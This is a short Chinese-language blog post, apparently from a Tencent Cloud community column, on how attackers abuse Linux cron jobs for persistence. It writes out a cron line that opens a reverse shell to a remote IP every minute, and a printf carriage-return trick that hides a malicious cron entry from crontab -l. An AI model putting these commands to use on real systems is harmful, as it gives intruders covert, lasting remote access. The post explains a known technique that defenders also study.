前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >在Linux中创建隐匿的计划任务

在Linux中创建隐匿的计划任务

原创
作者头像
一只特立独行的兔先生
发布2024-02-17 10:24:46
4170
发布2024-02-17 10:24:46
举报

Linux中的计划任务可以让系统周期性地运行所指定的程序或命令,攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文,这里只讲述攻击者如何利用该技术进行权限维持。

首先,使用命令service cron status来检查系统中的计划任务服务是否正常运行,执行结果如图1-1所示,running则代表正在运行。然后,使用命令crontab -l来查看当前用户在系统中创建的计划任务,执行结果如图1-2所示。

图1-1 检查计划任务服务是否正常运行
图1-1 检查计划任务服务是否正常运行
图1-2 查看当前用户在系统中创建的计划任务
图1-2 查看当前用户在系统中创建的计划任务

在Linux中“万物皆文件”,crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户的用户名”。例如当前使用的用户为root,那么执行crontab -l命令其实是执行了cat /var/spool/cron/crontabs/root命令,如图1-3所示。所以,我们也可以通过直接编辑/var/spool/cron/crontabs/root来编辑计划任务。

图1-3 计划任务文件
图1-3 计划任务文件

那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root,在计划任务中写入一个每分钟建立回连会话的语句,这样可以达到权限维持的效果。但是这样直接写入会非常容易被发现,只需执行crontab -l就可以看到刚刚写入的命令,如图1-4所示。

图1-4查询创建的计划任务
图1-4查询创建的计划任务

前面已经说过执行crontab -l其实就是执行“cat /var/spool/cron/crontabs/当前登录用户的用户名”,而cat命令自身存在一定缺陷,它会自动识别转义字符,比如执行命令printf "123\r" > 1.txt,执行完成后使用cat命令读取该文件,如图1-5所示,可以看到无法读取123,只有Vim才可以看见文件的内容,如图1-6所示。那么,攻击者可以利用这个特性,写入一个无法被crontab -l获取的计划任务。

图1-5写入隐藏内容
图1-5写入隐藏内容
图1-6 Vim查看隐藏内容
图1-6 Vim查看隐藏内容

执行命令(crontab -l;printf "*/1 * * * * /tmp/1.sh;\rno crontab for" whoami`%100c\n")|crontab -,执行结果如图1-7所示,可以发现获取的内容没不存在计划任务,使用Vim打开该文件,结果如图1-8所示。通过这样的方法可以隐藏计划任务。

图1-7 无法读取隐藏内容
图1-7 无法读取隐藏内容
图1-8 Vim可以读取隐藏内容
图1-8 Vim可以读取隐藏内容

我正在参与2024腾讯技术创作特训营第五期有奖征文,快来和我瓜分大奖!

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档